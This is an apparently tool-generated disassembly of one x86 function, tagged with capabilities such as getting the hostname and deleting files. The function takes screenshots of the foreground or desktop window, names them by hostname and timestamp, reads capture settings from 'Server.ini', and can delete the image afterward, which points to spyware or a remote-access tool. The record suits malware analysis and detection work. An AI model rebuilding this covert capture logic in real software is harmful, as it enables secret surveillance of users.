Function at 0x401cd0
Capabilities:
Access peb ldr_data
Delete file
Get hostname

Disassembly:
push 0xffffffffffffffff
push 0x42593d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x430
push esi
lea eax, [esp + 0x30]
push edi
push eax
call fcn.0041e35f
mov ecx, dword [eax]
push str.CapLogCapSrc
lea edx, [esp + 0x14]
push 0x432bc0
push edx
mov dword [esp + 0x2c], ecx
call fcn.0041f01b
mov eax, dword [esp + 0x10]
mov dword [esp + 0x440], 0
push eax
call fcn.0041dc3c
add esp, 4
lea ecx, [esp + 0x14]
push str.__:___
call fcn.0041ee40
mov ecx, dword [0x42f390]
mov dword [esp + 8], ecx
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x38]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x448], 2
mov dword [esp + 0x24], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x10]
call fcn.0041ee40
mov edx, dword [esp + 0xc]
xor esi, esi
mov byte [esp + 0x440], 3
mov eax, dword [edx - 8]
test eax, eax
jle 0x401de8
push ebx
push 1
lea eax, [esp + 0x20]
push esi
push eax
lea ecx, [esp + 0x1c]
call fcn.0041dcbf
mov eax, dword [eax]
lea ecx, [esp + 0x18]
push eax
mov byte [esp + 0x448], 4
call fcn.0041de96
test eax, eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x444], 3
setge bl
call fcn.0041edd2
test bl, bl
je 0x401ddd
push 0x2d
push esi
lea ecx, [esp + 0x18]
call fcn.0041f25f
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, dword [ecx - 8]
jl 0x401d92
pop ebx
lea edx, [esp + 0x18]
push str._Y__m__d__H_M_S
push edx
lea ecx, [esp + 0x28]
call fcn.0041e3a1
mov ecx, dword [esp + 0xc]
mov edx, dword [eax]
mov eax, dword [esp + 0x10]
push ecx
push edx
push eax
lea ecx, [esp + 0x14]
push str._s_s__s_.jpg
push ecx
mov byte [esp + 0x454], 5
call fcn.0041e21c
add esp, 0x14
lea ecx, [esp + 0x18]
mov byte [esp + 0x440], 3
call fcn.0041edd2
push 0
push str.PICSIZE
push str.CAPSRC
call fcn.0040fde0
mov al, byte [esp + 0x458]
add esp, 0xc
test al, al
je 0x401e76
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x401f2c
mov edx, dword [esp + 0x448]
mov esi, dword [esp + 8]
push edx
push eax
call fcn.0041f764
push eax
push esi
jmp 0x401e90
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call fcn.0041f764
mov ecx, dword [esp + 0x448]
mov edx, dword [esp + 8]
push ecx
push eax
push edx
call fcn.004103a0
add esp, 0xc
lea ecx, [esp + 0x24]
call fcn.00421844
mov eax, dword [esp + 8]
xor esi, esi
push esi
push 0x40
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x44c], 6
call fcn.00421956
test eax, eax
je 0x401ed8
lea ecx, [esp + 0x24]
call fcn.00421c50
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00421b71
test esi, esi
jne 0x401edf
mov ecx, dword [esp + 8]
push ecx
jmp 0x401efd
mov eax, dword [0x432b74]
mov cl, byte [eax + 0x5ee]
test cl, cl
je 0x401f03
mov cl, byte [eax + 0x5f0]
test cl, cl
je 0x401f03
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push str.PICSIZE
push str.CAPSRC
push str.Server.ini
call fcn.00410120
add esp, 0x10
lea ecx, [esp + 0x24]
mov byte [esp + 0x440], 3
call fcn.00421899
lea ecx, [esp + 0xc]
mov byte [esp + 0x440], 2
call fcn.0041edd2
lea ecx, [esp + 8]
mov byte [esp + 0x440], 1
call fcn.0041edd2
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 0
call fcn.0041edd2
lea ecx, [esp + 0x10]
mov dword [esp + 0x440], 0xffffffff
call fcn.0041edd2
mov ecx, dword [esp + 0x438]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x43c
ret